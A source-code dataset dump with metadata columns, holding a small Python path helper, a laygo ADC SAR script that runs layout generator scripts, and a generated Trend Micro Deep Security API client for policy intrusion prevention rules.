hexsha
string | size
int64 | ext
string | lang
string | max_stars_repo_path
string | max_stars_repo_name
string | max_stars_repo_head_hexsha
string | max_stars_repo_licenses
list | max_stars_count
int64 | max_stars_repo_stars_event_min_datetime
string | max_stars_repo_stars_event_max_datetime
string | max_issues_repo_path
string | max_issues_repo_name
string | max_issues_repo_head_hexsha
string | max_issues_repo_licenses
list | max_issues_count
int64 | max_issues_repo_issues_event_min_datetime
string | max_issues_repo_issues_event_max_datetime
string | max_forks_repo_path
string | max_forks_repo_name
string | max_forks_repo_head_hexsha
string | max_forks_repo_licenses
list | max_forks_count
int64 | max_forks_repo_forks_event_min_datetime
string | max_forks_repo_forks_event_max_datetime
string | content
string | avg_line_length
float64 | max_line_length
int64 | alphanum_fraction
float64 | qsc_code_num_words_quality_signal
int64 | qsc_code_num_chars_quality_signal
float64 | qsc_code_mean_word_length_quality_signal
float64 | qsc_code_frac_words_unique_quality_signal
float64 | qsc_code_frac_chars_top_2grams_quality_signal
float64 | qsc_code_frac_chars_top_3grams_quality_signal
float64 | qsc_code_frac_chars_top_4grams_quality_signal
float64 | qsc_code_frac_chars_dupe_5grams_quality_signal
float64 | qsc_code_frac_chars_dupe_6grams_quality_signal
float64 | qsc_code_frac_chars_dupe_7grams_quality_signal
float64 | qsc_code_frac_chars_dupe_8grams_quality_signal
float64 | qsc_code_frac_chars_dupe_9grams_quality_signal
float64 | qsc_code_frac_chars_dupe_10grams_quality_signal
float64 | qsc_code_frac_chars_replacement_symbols_quality_signal
float64 | qsc_code_frac_chars_digital_quality_signal
float64 | qsc_code_frac_chars_whitespace_quality_signal
float64 | qsc_code_size_file_byte_quality_signal
float64 | qsc_code_num_lines_quality_signal
float64 | qsc_code_num_chars_line_max_quality_signal
float64 | qsc_code_num_chars_line_mean_quality_signal
float64 | qsc_code_frac_chars_alphabet_quality_signal
float64 | qsc_code_frac_chars_comments_quality_signal
float64 | qsc_code_cate_xml_start_quality_signal
float64 | qsc_code_frac_lines_dupe_lines_quality_signal
float64 | qsc_code_cate_autogen_quality_signal
float64 | qsc_code_frac_lines_long_string_quality_signal
float64 | qsc_code_frac_chars_string_length_quality_signal
float64 | qsc_code_frac_chars_long_word_length_quality_signal
float64 | qsc_code_frac_lines_string_concat_quality_signal
float64 | qsc_code_cate_encoded_data_quality_signal
float64 | qsc_code_frac_chars_hex_words_quality_signal
float64 | qsc_code_frac_lines_prompt_comments_quality_signal
float64 | qsc_code_frac_lines_assert_quality_signal
float64 | qsc_codepython_cate_ast_quality_signal
float64 | qsc_codepython_frac_lines_func_ratio_quality_signal
float64 | qsc_codepython_cate_var_zero_quality_signal
bool | qsc_codepython_frac_lines_pass_quality_signal
float64 | qsc_codepython_frac_lines_import_quality_signal
float64 | qsc_codepython_frac_lines_simplefunc_quality_signal
float64 | qsc_codepython_score_lines_no_logic_quality_signal
float64 | qsc_codepython_frac_lines_print_quality_signal
float64 | qsc_code_num_words
int64 | qsc_code_num_chars
int64 | qsc_code_mean_word_length
int64 | qsc_code_frac_words_unique
null | qsc_code_frac_chars_top_2grams
int64 | qsc_code_frac_chars_top_3grams
int64 | qsc_code_frac_chars_top_4grams
int64 | qsc_code_frac_chars_dupe_5grams
int64 | qsc_code_frac_chars_dupe_6grams
int64 | qsc_code_frac_chars_dupe_7grams
int64 | qsc_code_frac_chars_dupe_8grams
int64 | qsc_code_frac_chars_dupe_9grams
int64 | qsc_code_frac_chars_dupe_10grams
int64 | qsc_code_frac_chars_replacement_symbols
int64 | qsc_code_frac_chars_digital
int64 | qsc_code_frac_chars_whitespace
int64 | qsc_code_size_file_byte
int64 | qsc_code_num_lines
int64 | qsc_code_num_chars_line_max
int64 | qsc_code_num_chars_line_mean
int64 | qsc_code_frac_chars_alphabet
int64 | qsc_code_frac_chars_comments
int64 | qsc_code_cate_xml_start
int64 | qsc_code_frac_lines_dupe_lines
int64 | qsc_code_cate_autogen
int64 | qsc_code_frac_lines_long_string
int64 | qsc_code_frac_chars_string_length
int64 | qsc_code_frac_chars_long_word_length
int64 | qsc_code_frac_lines_string_concat
null | qsc_code_cate_encoded_data
int64 | qsc_code_frac_chars_hex_words
int64 | qsc_code_frac_lines_prompt_comments
int64 | qsc_code_frac_lines_assert
int64 | qsc_codepython_cate_ast
int64 | qsc_codepython_frac_lines_func_ratio
int64 | qsc_codepython_cate_var_zero
int64 | qsc_codepython_frac_lines_pass
int64 | qsc_codepython_frac_lines_import
int64 | qsc_codepython_frac_lines_simplefunc
int64 | qsc_codepython_score_lines_no_logic
int64 | qsc_codepython_frac_lines_print
int64 | effective
string | hits
int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
7f192bbcfb0c0caa454be2968c2d28896e3af004
| 231
|
py
|
Python
|
lab/__init__.py
|
vidhiJain/lab
|
43a3eb2aa3121b226c849690e636dcd4c04a49cf
|
[
"MIT"
] | null | null | null |
lab/__init__.py
|
vidhiJain/lab
|
43a3eb2aa3121b226c849690e636dcd4c04a49cf
|
[
"MIT"
] | null | null | null |
lab/__init__.py
|
vidhiJain/lab
|
43a3eb2aa3121b226c849690e636dcd4c04a49cf
|
[
"MIT"
] | 1
|
2020-10-02T01:46:45.000Z
|
2020-10-02T01:46:45.000Z
|
from pathlib import PurePath
from lab.internal.lab import lab_singleton as _internal
def get_data_path() -> PurePath:
return _internal().data_path
def get_experiments_path() -> PurePath:
return _internal().experiments
| 19.25
| 55
| 0.770563
| 30
| 231
| 5.633333
| 0.466667
| 0.071006
| 0.213018
| 0.307692
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.151515
| 231
| 11
| 56
| 21
| 0.862245
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| true
| 0
| 0.333333
| 0.333333
| 1
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 1
| 1
| 0
|
0
| 7
|
6195eb5226f5851ba579ab951236a8778353fb96
| 1,562
|
py
|
Python
|
laygo/generators/adc_sar/adc_sar_sarabe_dualdelay_fullstack_generator.py
|
tinapiao/Software-IC-Automation
|
74b23cd94aa6e4658b110e93b5deb635e014f3a6
|
[
"BSD-3-Clause"
] | 26
|
2017-07-07T08:06:31.000Z
|
2021-11-25T06:41:24.000Z
|
laygo/generators/adc_sar/adc_sar_sarabe_dualdelay_fullstack_generator.py
|
tinapiao/Software-IC-Automation
|
74b23cd94aa6e4658b110e93b5deb635e014f3a6
|
[
"BSD-3-Clause"
] | 9
|
2016-12-28T03:08:29.000Z
|
2019-01-30T16:00:28.000Z
|
laygo/generators/adc_sar/adc_sar_sarabe_dualdelay_fullstack_generator.py
|
tinapiao/Software-IC-Automation
|
74b23cd94aa6e4658b110e93b5deb635e014f3a6
|
[
"BSD-3-Clause"
] | 10
|
2018-07-14T01:31:28.000Z
|
2021-08-21T10:18:30.000Z
|
def execfile(filepath, globals=None, locals=None):
if globals is None:
globals = {}
globals.update({
"__file__": filepath,
"__name__": "__main__",
})
import os
with open(filepath, 'rb') as file:
exec(compile(file.read(), filepath, 'exec'), globals, locals)
files=[
#'laygo/generators/adc_sar/adc_sar_sarret_wckbuf_size.py',
#'laygo/generators/adc_sar/adc_sar_sarlogic_wret_array_size.py',
#'laygo/generators/adc_sar/adc_sar_sarfsm_size.py',
#'laygo/generators/adc_sar/adc_sar_sarclkgen_static_size.py',
'laygo/generators/adc_sar/adc_sar_sarfsm_layout_generator.py',
'laygo/generators/adc_sar/adc_sar_sarlogic_wret_layout_generator.py',
'laygo/generators/adc_sar/adc_sar_sarlogic_wret_array_layout_generator.py',
'laygo/generators/adc_sar/adc_sar_sarclkdelay_layout_generator.py',
'laygo/generators/adc_sar/adc_sar_sarclkgen_core_static2_layout_generator.py',
'laygo/generators/adc_sar/adc_sar_sarclkgen_static_layout_generator.py',
'laygo/generators/adc_sar/adc_sar_sarret_wckbuf_layout_generator.py',
'laygo/generators/adc_sar/adc_sar_space_layout_generator.py',
'laygo/generators/adc_sar/adc_sar_sarabe_dualdelay_layout_generator.py',
'laygo/generators/adc_sar/adc_sar_sarabe_dualdelay_schematic_generator.py',
'laygo/generators/adc_sar/adc_sar_sarabe_dualdelay_lvs.py',
#'laygo/generators/adc_sar/adc_sar_sarabe_dualdelay_extract.py',
#'laygo/generators/adc_sar/adc_sar_sarabe_dualdelay_verify.py',
]
for f in files:
execfile(f)
| 45.941176
| 82
| 0.770166
| 220
| 1,562
| 4.986364
| 0.231818
| 0.185962
| 0.278943
| 0.325433
| 0.772106
| 0.772106
| 0.772106
| 0.772106
| 0.718323
| 0.401094
| 0
| 0.000725
| 0.117157
| 1,562
| 33
| 83
| 47.333333
| 0.794779
| 0.227273
| 0
| 0
| 0
| 0
| 0.629475
| 0.604496
| 0
| 0
| 0
| 0
| 0
| 1
| 0.04
| false
| 0
| 0.04
| 0
| 0.08
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
61b9bcf52749bd8251d7031883060c1cf7288fd1
| 28,602
|
py
|
Python
|
source/deepsecurity/api/policy_intrusion_prevention_rule_details_api.py
|
felipecosta09/cloudone-workload-controltower-lifecycle
|
7927c84d164058b034fc872701b5ee117641f4d1
|
[
"Apache-2.0"
] | 1
|
2021-10-30T16:40:09.000Z
|
2021-10-30T16:40:09.000Z
|
source/deepsecurity/api/policy_intrusion_prevention_rule_details_api.py
|
felipecosta09/cloudone-workload-controltower-lifecycle
|
7927c84d164058b034fc872701b5ee117641f4d1
|
[
"Apache-2.0"
] | 1
|
2021-07-28T20:19:03.000Z
|
2021-07-28T20:19:03.000Z
|
source/deepsecurity/api/policy_intrusion_prevention_rule_details_api.py
|
felipecosta09/cloudone-workload-controltower-lifecycle
|
7927c84d164058b034fc872701b5ee117641f4d1
|
[
"Apache-2.0"
] | 1
|
2021-10-30T16:40:02.000Z
|
2021-10-30T16:40:02.000Z
|
# coding: utf-8
"""
Trend Micro Deep Security API
Copyright 2018 - 2020 Trend Micro Incorporated.<br/>Get protected, stay secured, and keep informed with Trend Micro Deep Security's new RESTful API. Access system data and manage security configurations to automate your security workflows and integrate Deep Security into your CI/CD pipeline. # noqa: E501
OpenAPI spec version: 12.5.841
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import re # noqa: F401
# python 2 and python 3 compatibility library
import six
from deepsecurity.api_client import ApiClient
class PolicyIntrusionPreventionRuleDetailsApi(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
Ref: https://github.com/swagger-api/swagger-codegen
"""
def __init__(self, api_client=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
def describe_intrusion_prevention_rule_on_policy(self, policy_id, intrusion_prevention_rule_id, api_version, **kwargs): # noqa: E501
"""Describe an intrusion prevention rule # noqa: E501
Describe an intrusion prevention rule including policy-level overrides. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.describe_intrusion_prevention_rule_on_policy(policy_id, intrusion_prevention_rule_id, api_version, async_req=True)
>>> result = thread.get()
:param async_req bool
:param int policy_id: The ID number of the policy. (required)
:param int intrusion_prevention_rule_id: The ID number of the intrusion prevention rule. (required)
:param str api_version: The version of the api being called. (required)
:param bool overrides: Show only overrides defined for the current policy.
:return: IntrusionPreventionRule
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.describe_intrusion_prevention_rule_on_policy_with_http_info(policy_id, intrusion_prevention_rule_id, api_version, **kwargs) # noqa: E501
else:
(data) = self.describe_intrusion_prevention_rule_on_policy_with_http_info(policy_id, intrusion_prevention_rule_id, api_version, **kwargs) # noqa: E501
return data
def describe_intrusion_prevention_rule_on_policy_with_http_info(self, policy_id, intrusion_prevention_rule_id, api_version, **kwargs): # noqa: E501
"""Describe an intrusion prevention rule # noqa: E501
Describe an intrusion prevention rule including policy-level overrides. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.describe_intrusion_prevention_rule_on_policy_with_http_info(policy_id, intrusion_prevention_rule_id, api_version, async_req=True)
>>> result = thread.get()
:param async_req bool
:param int policy_id: The ID number of the policy. (required)
:param int intrusion_prevention_rule_id: The ID number of the intrusion prevention rule. (required)
:param str api_version: The version of the api being called. (required)
:param bool overrides: Show only overrides defined for the current policy.
:return: IntrusionPreventionRule
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['policy_id', 'intrusion_prevention_rule_id', 'api_version', 'overrides'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method describe_intrusion_prevention_rule_on_policy" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'policy_id' is set
if ('policy_id' not in params or
params['policy_id'] is None):
raise ValueError("Missing the required parameter `policy_id` when calling `describe_intrusion_prevention_rule_on_policy`") # noqa: E501
# verify the required parameter 'intrusion_prevention_rule_id' is set
if ('intrusion_prevention_rule_id' not in params or
params['intrusion_prevention_rule_id'] is None):
raise ValueError("Missing the required parameter `intrusion_prevention_rule_id` when calling `describe_intrusion_prevention_rule_on_policy`") # noqa: E501
# verify the required parameter 'api_version' is set
if ('api_version' not in params or
params['api_version'] is None):
raise ValueError("Missing the required parameter `api_version` when calling `describe_intrusion_prevention_rule_on_policy`") # noqa: E501
if 'policy_id' in params and not re.search('\\d+', str(params['policy_id'])): # noqa: E501
raise ValueError("Invalid value for parameter `policy_id` when calling `describe_intrusion_prevention_rule_on_policy`, must conform to the pattern `/\\d+/`") # noqa: E501
if 'intrusion_prevention_rule_id' in params and not re.search('\\d+', str(params['intrusion_prevention_rule_id'])): # noqa: E501
raise ValueError("Invalid value for parameter `intrusion_prevention_rule_id` when calling `describe_intrusion_prevention_rule_on_policy`, must conform to the pattern `/\\d+/`") # noqa: E501
collection_formats = {}
path_params = {}
if 'policy_id' in params:
path_params['policyID'] = params['policy_id'] # noqa: E501
if 'intrusion_prevention_rule_id' in params:
path_params['intrusionPreventionRuleID'] = params['intrusion_prevention_rule_id'] # noqa: E501
query_params = []
if 'overrides' in params:
query_params.append(('overrides', params['overrides'])) # noqa: E501
header_params = {}
if 'api_version' in params:
header_params['api-version'] = params['api_version'] # noqa: E501
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['DefaultAuthentication'] # noqa: E501
return self.api_client.call_api(
'/policies/{policyID}/intrusionprevention/rules/{intrusionPreventionRuleID}', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='IntrusionPreventionRule', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def list_intrusion_prevention_rules_on_policy(self, policy_id, api_version, **kwargs): # noqa: E501
"""List intrusion prevention rules # noqa: E501
Lists all intrusion prevention rules assigned to a policy. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.list_intrusion_prevention_rules_on_policy(policy_id, api_version, async_req=True)
>>> result = thread.get()
:param async_req bool
:param int policy_id: The ID number of the policy. (required)
:param str api_version: The version of the api being called. (required)
:param bool overrides: Show only rules assigned to the current policy.
:return: IntrusionPreventionRules
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.list_intrusion_prevention_rules_on_policy_with_http_info(policy_id, api_version, **kwargs) # noqa: E501
else:
(data) = self.list_intrusion_prevention_rules_on_policy_with_http_info(policy_id, api_version, **kwargs) # noqa: E501
return data
def list_intrusion_prevention_rules_on_policy_with_http_info(self, policy_id, api_version, **kwargs): # noqa: E501
"""List intrusion prevention rules # noqa: E501
Lists all intrusion prevention rules assigned to a policy. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.list_intrusion_prevention_rules_on_policy_with_http_info(policy_id, api_version, async_req=True)
>>> result = thread.get()
:param async_req bool
:param int policy_id: The ID number of the policy. (required)
:param str api_version: The version of the api being called. (required)
:param bool overrides: Show only rules assigned to the current policy.
:return: IntrusionPreventionRules
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['policy_id', 'api_version', 'overrides'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method list_intrusion_prevention_rules_on_policy" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'policy_id' is set
if ('policy_id' not in params or
params['policy_id'] is None):
raise ValueError("Missing the required parameter `policy_id` when calling `list_intrusion_prevention_rules_on_policy`") # noqa: E501
# verify the required parameter 'api_version' is set
if ('api_version' not in params or
params['api_version'] is None):
raise ValueError("Missing the required parameter `api_version` when calling `list_intrusion_prevention_rules_on_policy`") # noqa: E501
if 'policy_id' in params and not re.search('\\d+', str(params['policy_id'])): # noqa: E501
raise ValueError("Invalid value for parameter `policy_id` when calling `list_intrusion_prevention_rules_on_policy`, must conform to the pattern `/\\d+/`") # noqa: E501
collection_formats = {}
path_params = {}
if 'policy_id' in params:
path_params['policyID'] = params['policy_id'] # noqa: E501
query_params = []
if 'overrides' in params:
query_params.append(('overrides', params['overrides'])) # noqa: E501
header_params = {}
if 'api_version' in params:
header_params['api-version'] = params['api_version'] # noqa: E501
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['DefaultAuthentication'] # noqa: E501
return self.api_client.call_api(
'/policies/{policyID}/intrusionprevention/rules', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='IntrusionPreventionRules', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def modify_intrusion_prevention_rule_on_policy(self, policy_id, intrusion_prevention_rule_id, intrusion_prevention_rule, api_version, **kwargs): # noqa: E501
"""Modify an intrusion prevention rule # noqa: E501
Modify an intrusion prevention rule assigned to a policy. Any unset elements will be left unchanged. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.modify_intrusion_prevention_rule_on_policy(policy_id, intrusion_prevention_rule_id, intrusion_prevention_rule, api_version, async_req=True)
>>> result = thread.get()
:param async_req bool
:param int policy_id: The ID number of the policy. (required)
:param int intrusion_prevention_rule_id: The ID number of the intrusion prevention rule to modify. (required)
:param IntrusionPreventionRule intrusion_prevention_rule: The settings of the intrusion prevention rule to modify. (required)
:param str api_version: The version of the api being called. (required)
:param bool overrides: Show only overrides defined for the current policy.
:return: IntrusionPreventionRule
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.modify_intrusion_prevention_rule_on_policy_with_http_info(policy_id, intrusion_prevention_rule_id, intrusion_prevention_rule, api_version, **kwargs) # noqa: E501
else:
(data) = self.modify_intrusion_prevention_rule_on_policy_with_http_info(policy_id, intrusion_prevention_rule_id, intrusion_prevention_rule, api_version, **kwargs) # noqa: E501
return data
def modify_intrusion_prevention_rule_on_policy_with_http_info(self, policy_id, intrusion_prevention_rule_id, intrusion_prevention_rule, api_version, **kwargs): # noqa: E501
"""Modify an intrusion prevention rule # noqa: E501
Modify an intrusion prevention rule assigned to a policy. Any unset elements will be left unchanged. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.modify_intrusion_prevention_rule_on_policy_with_http_info(policy_id, intrusion_prevention_rule_id, intrusion_prevention_rule, api_version, async_req=True)
>>> result = thread.get()
:param async_req bool
:param int policy_id: The ID number of the policy. (required)
:param int intrusion_prevention_rule_id: The ID number of the intrusion prevention rule to modify. (required)
:param IntrusionPreventionRule intrusion_prevention_rule: The settings of the intrusion prevention rule to modify. (required)
:param str api_version: The version of the api being called. (required)
:param bool overrides: Show only overrides defined for the current policy.
:return: IntrusionPreventionRule
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['policy_id', 'intrusion_prevention_rule_id', 'intrusion_prevention_rule', 'api_version', 'overrides'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method modify_intrusion_prevention_rule_on_policy" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'policy_id' is set
if ('policy_id' not in params or
params['policy_id'] is None):
raise ValueError("Missing the required parameter `policy_id` when calling `modify_intrusion_prevention_rule_on_policy`") # noqa: E501
# verify the required parameter 'intrusion_prevention_rule_id' is set
if ('intrusion_prevention_rule_id' not in params or
params['intrusion_prevention_rule_id'] is None):
raise ValueError("Missing the required parameter `intrusion_prevention_rule_id` when calling `modify_intrusion_prevention_rule_on_policy`") # noqa: E501
# verify the required parameter 'intrusion_prevention_rule' is set
if ('intrusion_prevention_rule' not in params or
params['intrusion_prevention_rule'] is None):
raise ValueError("Missing the required parameter `intrusion_prevention_rule` when calling `modify_intrusion_prevention_rule_on_policy`") # noqa: E501
# verify the required parameter 'api_version' is set
if ('api_version' not in params or
params['api_version'] is None):
raise ValueError("Missing the required parameter `api_version` when calling `modify_intrusion_prevention_rule_on_policy`") # noqa: E501
if 'policy_id' in params and not re.search('\\d+', str(params['policy_id'])): # noqa: E501
raise ValueError("Invalid value for parameter `policy_id` when calling `modify_intrusion_prevention_rule_on_policy`, must conform to the pattern `/\\d+/`") # noqa: E501
if 'intrusion_prevention_rule_id' in params and not re.search('\\d+', str(params['intrusion_prevention_rule_id'])): # noqa: E501
raise ValueError("Invalid value for parameter `intrusion_prevention_rule_id` when calling `modify_intrusion_prevention_rule_on_policy`, must conform to the pattern `/\\d+/`") # noqa: E501
collection_formats = {}
path_params = {}
if 'policy_id' in params:
path_params['policyID'] = params['policy_id'] # noqa: E501
if 'intrusion_prevention_rule_id' in params:
path_params['intrusionPreventionRuleID'] = params['intrusion_prevention_rule_id'] # noqa: E501
query_params = []
if 'overrides' in params:
query_params.append(('overrides', params['overrides'])) # noqa: E501
header_params = {}
if 'api_version' in params:
header_params['api-version'] = params['api_version'] # noqa: E501
form_params = []
local_var_files = {}
body_params = None
if 'intrusion_prevention_rule' in params:
body_params = params['intrusion_prevention_rule']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['DefaultAuthentication'] # noqa: E501
return self.api_client.call_api(
'/policies/{policyID}/intrusionprevention/rules/{intrusionPreventionRuleID}', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='IntrusionPreventionRule', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def reset_intrusion_prevention_rule_on_policy(self, policy_id, intrusion_prevention_rule_id, api_version, **kwargs): # noqa: E501
"""Reset intrusion prevention rule overrides # noqa: E501
Remove all overrides for an intrusion prevention rule from a policy. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.reset_intrusion_prevention_rule_on_policy(policy_id, intrusion_prevention_rule_id, api_version, async_req=True)
>>> result = thread.get()
:param async_req bool
:param int policy_id: The ID number of the policy. (required)
:param int intrusion_prevention_rule_id: The ID number of the intrusion prevention rule to reset. (required)
:param str api_version: The version of the api being called. (required)
:param bool overrides: Show only overrides defined for the current policy.
:return: IntrusionPreventionRule
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.reset_intrusion_prevention_rule_on_policy_with_http_info(policy_id, intrusion_prevention_rule_id, api_version, **kwargs) # noqa: E501
else:
(data) = self.reset_intrusion_prevention_rule_on_policy_with_http_info(policy_id, intrusion_prevention_rule_id, api_version, **kwargs) # noqa: E501
return data
def reset_intrusion_prevention_rule_on_policy_with_http_info(self, policy_id, intrusion_prevention_rule_id, api_version, **kwargs): # noqa: E501
"""Reset intrusion prevention rule overrides # noqa: E501
Remove all overrides for an intrusion prevention rule from a policy. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.reset_intrusion_prevention_rule_on_policy_with_http_info(policy_id, intrusion_prevention_rule_id, api_version, async_req=True)
>>> result = thread.get()
:param async_req bool
:param int policy_id: The ID number of the policy. (required)
:param int intrusion_prevention_rule_id: The ID number of the intrusion prevention rule to reset. (required)
:param str api_version: The version of the api being called. (required)
:param bool overrides: Show only overrides defined for the current policy.
:return: IntrusionPreventionRule
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['policy_id', 'intrusion_prevention_rule_id', 'api_version', 'overrides'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method reset_intrusion_prevention_rule_on_policy" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'policy_id' is set
if ('policy_id' not in params or
params['policy_id'] is None):
raise ValueError("Missing the required parameter `policy_id` when calling `reset_intrusion_prevention_rule_on_policy`") # noqa: E501
# verify the required parameter 'intrusion_prevention_rule_id' is set
if ('intrusion_prevention_rule_id' not in params or
params['intrusion_prevention_rule_id'] is None):
raise ValueError("Missing the required parameter `intrusion_prevention_rule_id` when calling `reset_intrusion_prevention_rule_on_policy`") # noqa: E501
# verify the required parameter 'api_version' is set
if ('api_version' not in params or
params['api_version'] is None):
raise ValueError("Missing the required parameter `api_version` when calling `reset_intrusion_prevention_rule_on_policy`") # noqa: E501
if 'policy_id' in params and not re.search('\\d+', str(params['policy_id'])): # noqa: E501
raise ValueError("Invalid value for parameter `policy_id` when calling `reset_intrusion_prevention_rule_on_policy`, must conform to the pattern `/\\d+/`") # noqa: E501
if 'intrusion_prevention_rule_id' in params and not re.search('\\d+', str(params['intrusion_prevention_rule_id'])): # noqa: E501
raise ValueError("Invalid value for parameter `intrusion_prevention_rule_id` when calling `reset_intrusion_prevention_rule_on_policy`, must conform to the pattern `/\\d+/`") # noqa: E501
collection_formats = {}
path_params = {}
if 'policy_id' in params:
path_params['policyID'] = params['policy_id'] # noqa: E501
if 'intrusion_prevention_rule_id' in params:
path_params['intrusionPreventionRuleID'] = params['intrusion_prevention_rule_id'] # noqa: E501
query_params = []
if 'overrides' in params:
query_params.append(('overrides', params['overrides'])) # noqa: E501
header_params = {}
if 'api_version' in params:
header_params['api-version'] = params['api_version'] # noqa: E501
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['DefaultAuthentication'] # noqa: E501
return self.api_client.call_api(
'/policies/{policyID}/intrusionprevention/rules/{intrusionPreventionRuleID}', 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='IntrusionPreventionRule', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
| 54.48
| 311
| 0.661562
| 3,387
| 28,602
| 5.307352
| 0.063183
| 0.147975
| 0.161215
| 0.0751
| 0.956664
| 0.956664
| 0.952381
| 0.944927
| 0.941422
| 0.936526
| 0
| 0.01479
| 0.257744
| 28,602
